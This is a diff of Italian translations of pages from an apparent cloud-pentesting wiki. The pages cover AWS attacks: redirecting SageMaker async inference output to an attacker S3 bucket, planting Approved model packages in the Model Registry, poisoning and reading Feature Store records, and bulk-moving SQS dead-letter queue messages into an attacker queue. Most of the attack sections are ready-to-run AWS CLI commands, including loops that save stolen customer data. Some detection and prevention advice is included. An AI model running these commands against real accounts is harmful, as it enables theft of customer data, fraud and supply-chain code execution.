|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Clonare EndpointConfig e hijackare gli output di AsyncInference nel attacker bucket
|
||||
3) Clona EndpointConfig e hijack AsyncInference outputs nell'attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Avviare un async invocation e verificare che gli oggetti finiscano in attacker S3
|
||||
4) Trigger an async invocation e verifica che gli oggetti finiscano in attacker S3
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Impatto
|
||||
- Reindirizza i risultati di inference asincrona (e i corpi degli errori) a S3 controllato dall'attaccante, permettendo l'esfiltrazione covert di predizioni e potenzialmente di input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice o l'immagine del modello e con downtime minimo/nullo.
|
||||
- Reindirizza i risultati di inference asincrona (e i corpi di errore) su S3 controllato dall'attaccante, permettendo l'esfiltrazione nascosta delle predizioni e, potenzialmente, degli input sensibili pre/post-elaborati prodotti dal container, senza modificare il codice del modello o l'immagine e con downtime minimo/assente.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine del container controllata dall'attaccante e marcarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni Approved a endpoints o training jobs, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una policy permissiva sulla risorsa ModelPackageGroup.
|
||||
Se un attaccante può eseguire CreateModelPackage su un target SageMaker Model Package Group, può registrare una nuova versione del modello che punta a un'immagine container controllata dall'attaccante e contrassegnarla immediatamente come Approved. Molte pipeline CI/CD distribuiscono automaticamente le versioni di modello Approved su endpoint o job di training, causando l'esecuzione di codice dell'attaccante con i ruoli di esecuzione del servizio. L'esposizione cross-account può essere amplificata da una resource policy permissiva sul ModelPackageGroup.
|
||||
|
||||
### Requisiti
|
||||
- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` sul ModelPackageGroup target
|
||||
- Facoltativo (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: accesso in lettura a ModelDataUrl referenziato (o ospitare artefatti controllati dall'attaccante)
|
||||
- Target: un Model Package Group che le automazioni a valle monitorano per versioni Approved
|
||||
### Requirements
|
||||
- IAM (minimo per avvelenare un gruppo esistente): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Optional (per creare un gruppo se non esiste): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
|
||||
- Target: A Model Package Group that downstream automation watches for Approved versions
|
||||
|
||||
### Passaggi
|
||||
1) Imposta la regione e crea/individua un Model Package Group target
|
||||
### Steps
|
||||
1) Set region and create/find a target Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Prepara dati fittizi del modello in S3
|
||||
2) Preparare dati di modello fittizi in S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Registrare una Approved model package version maliziosa (qui benigna) che faccia riferimento a un'immagine pubblica AWS DLC
|
||||
3) Registrare una versione Approved model package malevola (qui innocua) che faccia riferimento a un'immagine pubblica AWS DLC
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Verificare che la nuova versione Approved esista
|
||||
4) Verifica che la nuova versione approvata esista
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Impatto
|
||||
- Avvelena il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le Pipelines che effettuano l'auto-deploy di modelli Approved possono scaricare ed eseguire l'immagine dell'attaccante, ottenendo l'esecuzione di codice con i ruoli endpoint/training.
|
||||
- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account.
|
||||
- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le pipeline che auto-deploy le Approved models potrebbero pullare ed eseguire l'immagine dell'attaccante, causando esecuzione di codice con i ruoli di endpoint/training.
|
||||
- Con una permissiva ModelPackageGroup resource policy (PutModelPackageGroupPolicy), questo abuso può essere innescato cross-account.
|
||||
|
||||
## Avvelenamento del Feature Store
|
||||
## Avvelenamento del Feature store
|
||||
|
||||
Abusa di `sagemaker:PutRecord` su un Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumati dall'inferenza online. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso ai modelli o agli endpoint.
|
||||
Abusare di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature live consumate dall'online inference. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Abusare di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature in uso consumati dall'inferenza in tempo reale. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili ed esfiltrare dati ML riservati. Non richiede accesso a modelli o endpoint, rendendolo un attacco diretto a livello di dati.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Requisiti
|
||||
Sfruttare `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere valori di feature live consumati dall'inferenza in tempo reale. Combinato con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Ciò non richiede l'accesso a modelli o endpoint.
|
||||
|
||||
## Requirements
|
||||
- Permessi: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Bersaglio: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale)
|
||||
- Complessità: **LOW** - Semplici comandi AWS CLI, nessuna manipolazione del modello richiesta
|
||||
- Obiettivo: Feature Group con OnlineStore abilitato (tipicamente a supporto dell'inferenza in tempo reale)
|
||||
- Complessità: **LOW** - Comandi AWS CLI semplici, non è richiesta la manipolazione dei modelli
|
||||
|
||||
## Passaggi
|
||||
## Steps
|
||||
|
||||
### Ricognizione
|
||||
### Reconnaissance
|
||||
|
||||
1) Elencare i Feature Groups con OnlineStore abilitato
|
||||
1) Elencare le Feature Groups con OnlineStore abilitato
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Descrivere un Feature Group target per comprendere il suo schema
|
||||
2) Descrivere un Feature Group di destinazione per comprenderne lo schema
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName`, e tutte le definizioni delle feature. Questi sono necessari per creare record validi.
|
||||
Nota i `RecordIdentifierFeatureName`, `EventTimeFeatureName` e tutte le definizioni delle feature. Sono necessari per creare record validi.
|
||||
|
||||
### Scenario di attacco 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Leggi il record legittimo corrente
|
||||
```bash
|
||||
@@ -54,16 +56,16 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Verificare i poisoned data
|
||||
3) Verificare i dati avvelenati
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Impatto**: I modelli ML che consumano questa feature vedranno ora `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi.
|
||||
**Impatto**: I modelli ML che utilizzano questa feature ora vedranno `risk_score=0.99` per un utente legittimo, potenzialmente bloccando le sue transazioni o servizi.
|
||||
|
||||
### Scenario di attacco 2: Iniezione di dati malevoli (Create Fraudulent Records)
|
||||
### Scenario di attacco 2: Iniezione di dati malevoli (Creare record fraudolenti)
|
||||
|
||||
Iniettare record completamente nuovi con feature manipolate per eludere i controlli di sicurezza:
|
||||
```bash
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Verifica la injection:
|
||||
Verifica l'iniezione:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impatto**: L'attaccante crea un'identità falsa con un punteggio di rischio basso (0.01) che può eseguire transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi.
|
||||
**Impatto**: L'attaccante crea un'identità fittizia con un punteggio di rischio basso (0.01) che può effettuare transazioni fraudolente di alto valore senza attivare il rilevamento delle frodi.
|
||||
|
||||
### Scenario d'attacco 3: Esfiltrazione di dati sensibili
|
||||
### Scenario di attacco 3: Sensitive Data Exfiltration
|
||||
|
||||
Leggere più record per estrarre feature confidenziali e profilare il comportamento del modello:
|
||||
Leggere più record per estrarre caratteristiche confidenziali e profilare il comportamento del modello:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Impatto**: Feature confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte a un attaccante.
|
||||
**Impatto**: caratteristiche confidenziali (punteggi di rischio, modelli di transazione, dati personali) esposte all'attaccante.
|
||||
|
||||
### Creazione di un Feature Group di test/demo (Opzionale)
|
||||
### Creazione di Feature Group per test/demo (Opzionale)
|
||||
|
||||
Se hai bisogno di creare un Feature Group di test:
|
||||
Se devi creare un Feature Group di test:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Rilevamento
|
||||
|
||||
Monitora CloudTrail per pattern sospetti:
|
||||
- eventi `PutRecord` provenienti da principal IAM o indirizzi IP insoliti
|
||||
- chiamate `PutRecord` o `GetRecord` ad alta frequenza
|
||||
- `PutRecord` con valori di feature anomali (es., `risk_score` fuori dall'intervallo normale)
|
||||
- operazioni `GetRecord` in blocco che indicano una massiccia esfiltrazione
|
||||
- accessi al di fuori dell'orario lavorativo normale o da posizioni inaspettate
|
||||
|
||||
Implementare il rilevamento delle anomalie:
|
||||
- validazione dei valori delle feature (es., `risk_score` deve essere 0.0-1.0)
|
||||
- analisi dei pattern di scrittura (frequenza, tempistica, identità della sorgente)
|
||||
- rilevamento della deriva dei dati (cambiamenti improvvisi nelle distribuzioni delle feature)
|
||||
|
||||
## Riferimenti
|
||||
- [Documentazione AWS SageMaker Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Migliori pratiche di sicurezza per Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
- [Best practice di sicurezza per Feature Store](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,53 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
# AWS – SQS DLQ Esfiltrazione Redrive tramite StartMessageMoveTask
|
||||
|
||||
## Description
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa dei message move task di SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) della vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili accumulati nelle DLQ nel tempo.
|
||||
## Descrizione
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
Abusa dei task di spostamento dei messaggi SQS per rubare tutti i messaggi accumulati nella Dead-Letter Queue (DLQ) di una vittima reindirizzandoli verso una queue controllata dall'attaccante usando `sqs:StartMessageMoveTask`. Questa tecnica sfrutta la funzionalità legittima di recovery dei messaggi di AWS per esfiltrare dati sensibili che si sono accumulati nelle DLQ nel tempo.
|
||||
|
||||
Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono automaticamente inviati quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono:
|
||||
## Cos'è una Dead-Letter Queue (DLQ)?
|
||||
|
||||
Una Dead-Letter Queue è una queue SQS speciale dove i messaggi vengono inviati automaticamente quando non riescono a essere processati con successo dall'applicazione principale. Questi messaggi falliti spesso contengono:
|
||||
- Dati sensibili dell'applicazione che non sono stati processati
|
||||
- Dettagli di errore e informazioni di debugging
|
||||
- Personal Identifiable Information (PII)
|
||||
- API token, credenziali o altri secret
|
||||
- Informazioni di identificazione personale (PII)
|
||||
- Token API, credenziali o altri segreti
|
||||
- Dati di transazioni critiche per il business
|
||||
|
||||
Le DLQ agiscono come un "cimitero" per i messaggi falliti, rendendole obiettivi preziosi poiché accumulano dati sensibili nel tempo che le applicazioni non sono riuscite a gestire correttamente.
|
||||
Le DLQ fungono da "cimitero" per i messaggi falliti, rendendole obiettivi di valore poiché accumulano dati sensibili nel tempo che le applicazioni non sono state in grado di gestire correttamente.
|
||||
|
||||
## Attack Scenario
|
||||
## Scenario d'attacco
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** processa gli ordini dei clienti tramite SQS
|
||||
2. **Alcuni ordini falliscono** (problemi di pagamento, inventario, ecc.) e vengono spostati in una DLQ
|
||||
3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
|
||||
**Esempio reale:**
|
||||
1. **Un'applicazione e-commerce** processa ordini dei clienti tramite SQS
|
||||
2. **Alcuni ordini falliscono** (problemi di pagamento, scorte, ecc.) e vengono spostati in una DLQ
|
||||
3. **La DLQ accumula** settimane/mesi di ordini falliti contenenti dati dei clienti: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **L'attaccante ottiene accesso** a credenziali AWS con permessi SQS
|
||||
5. **L'attaccante scopre** che la DLQ contiene migliaia di ordini falliti con dati sensibili
|
||||
6. **Invece di cercare di accedere ai singoli messaggi** (lento e ovvio), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi verso la propria queue
|
||||
6. **Invece di cercare di accedere ai singoli messaggi** (lento e evidente), l'attaccante usa `StartMessageMoveTask` per trasferire in blocco TUTTI i messaggi nella propria queue
|
||||
7. **L'attaccante estrae** tutti i dati storici sensibili in un'unica operazione
|
||||
|
||||
## Requirements
|
||||
- La source queue deve essere configurata come DLQ (referenziata da almeno una RedrivePolicy di qualche queue).
|
||||
- IAM permissions (run as the compromised victim principal):
|
||||
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- On destination queue: permission to deliver messages (e.g., queue policy allowing `sqs:SendMessage` from the victim principal). For same-account destinations this is typically allowed by default.
|
||||
- If SSE-KMS is enabled: on source CMK `kms:Decrypt`, and on destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
## Requisiti
|
||||
- La source queue deve essere configurata come DLQ (referenziata da almeno una queue RedrivePolicy).
|
||||
- Permessi IAM (eseguito come il principal vittima compromesso):
|
||||
- Sulla DLQ (sorgente): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Sulla destination queue: permesso di consegnare messaggi (es. policy della queue che permette `sqs:SendMessage` dal principal vittima). Per destinazioni nello stesso account questo è tipicamente consentito di default.
|
||||
- Se SSE-KMS è abilitato: sulla CMK della sorgente `kms:Decrypt`, e sulla CMK di destinazione `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload applicativi) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della destination queue permette `SendMessage` dal victim principal.
|
||||
## Impatto
|
||||
Esfiltrare payload sensibili accumulati nelle DLQ (eventi falliti, PII, token, payload dell'applicazione) ad alta velocità usando le API native di SQS. Funziona cross-account se la policy della queue di destinazione permette `SendMessage` dal principal vittima.
|
||||
|
||||
## How to Abuse
|
||||
## Come abusare
|
||||
|
||||
- Identificare l'ARN della DLQ vittima e assicurarsi che sia effettivamente referenziata come DLQ da qualche queue (qualsiasi queue va bene).
|
||||
- Creare o scegliere una destination queue controllata dall'attaccante e ottenere il suo ARN.
|
||||
- Avviare un message move task dalla DLQ vittima alla tua destination queue.
|
||||
- Monitorare il progresso o cancellare il task se necessario.
|
||||
- Monitorare il progresso o cancellare se necessario.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
### CLI Example: Esfiltrazione di dati clienti dal DLQ di e-commerce
|
||||
|
||||
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processing degli ordini dei clienti.
|
||||
**Scenario**: Un attaccante ha compromesso credenziali AWS e ha scoperto che un'applicazione e-commerce usa SQS con una DLQ contenente tentativi falliti di processare ordini dei clienti.
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
1) **Scoprire ed esaminare la DLQ della vittima**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **Esegui il furto di massa dei messaggi**
|
||||
3) **Esegui il bulk message theft**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -113,18 +115,18 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Note cross-account
|
||||
- La coda di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se utilizzati, KMS grants/permissions).
|
||||
### Note tra account
|
||||
- La queue di destinazione deve avere una resource policy che consenta al principal vittima di `sqs:SendMessage` (e, se usato, concessioni/permessi KMS).
|
||||
|
||||
## Perché questo attacco è efficace
|
||||
|
||||
1. **Funzionalità AWS legittima**: Usa funzionalità AWS integrate, rendendo difficile identificarlo come attività malevola
|
||||
2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di un accesso individuale lento
|
||||
1. **Funzionalità AWS legittima**: Sfrutta funzionalità AWS integrate, rendendo difficile rilevarlo come attività malevole
|
||||
2. **Operazione massiva**: Trasferisce migliaia di messaggi rapidamente invece di accessi individuali lenti
|
||||
3. **Dati storici**: Le DLQ accumulano dati sensibili nel corso di settimane/mesi
|
||||
4. **Sotto il radar**: Molte organizzazioni non monitorano da vicino l'accesso alle DLQ
|
||||
5. **Capacità cross-account**: Può exfiltrate verso l'account AWS dell'attaccante se i permessi lo consentono
|
||||
4. **Sotto il radar**: Molte organizzazioni non monitorano attentamente l'accesso alle DLQ
|
||||
5. **Capacità cross-account**: Può esfiltrare verso l'account AWS dell'attaccante se i permessi lo consentono
|
||||
|
||||
## Rilevamento e Prevenzione
|
||||
## Rilevamento e prevenzione
|
||||
|
||||
### Rilevamento
|
||||
Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
|
||||
@@ -143,8 +145,10 @@ Monitora CloudTrail per chiamate API `StartMessageMoveTask` sospette:
|
||||
}
|
||||
```
|
||||
### Prevenzione
|
||||
1. **Least Privilege**: Restringere i permessi `sqs:StartMessageMoveTask` ai soli ruoli necessari
|
||||
2. **Monitor DLQs**: Configurare allarmi CloudWatch per attività insolite delle DLQs
|
||||
3. **Cross-Account Policies**: Rivedere attentamente le policy delle code SQS che consentono accesso cross-account
|
||||
4. **Encrypt DLQs**: Usare SSE-KMS con policy delle chiavi ristrette
|
||||
5. **Regular Cleanup**: Non lasciare che i dati sensibili si accumulino nelle DLQs indefinitamente
|
||||
1. **Principio del minimo privilegio**: Restrict `sqs:StartMessageMoveTask` permissions to only necessary roles
|
||||
2. **Monitorare le DLQs**: Imposta allarmi CloudWatch per attività DLQ anomale
|
||||
3. **Politiche cross-account**: Rivedi attentamente le policy delle code SQS che consentono accesso cross-account
|
||||
4. **Cripta le DLQs**: Usa SSE-KMS con policy di chiavi ristrette
|
||||
5. **Pulizia regolare**: Non lasciare che dati sensibili si accumulino nelle DLQs indefinitamente
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user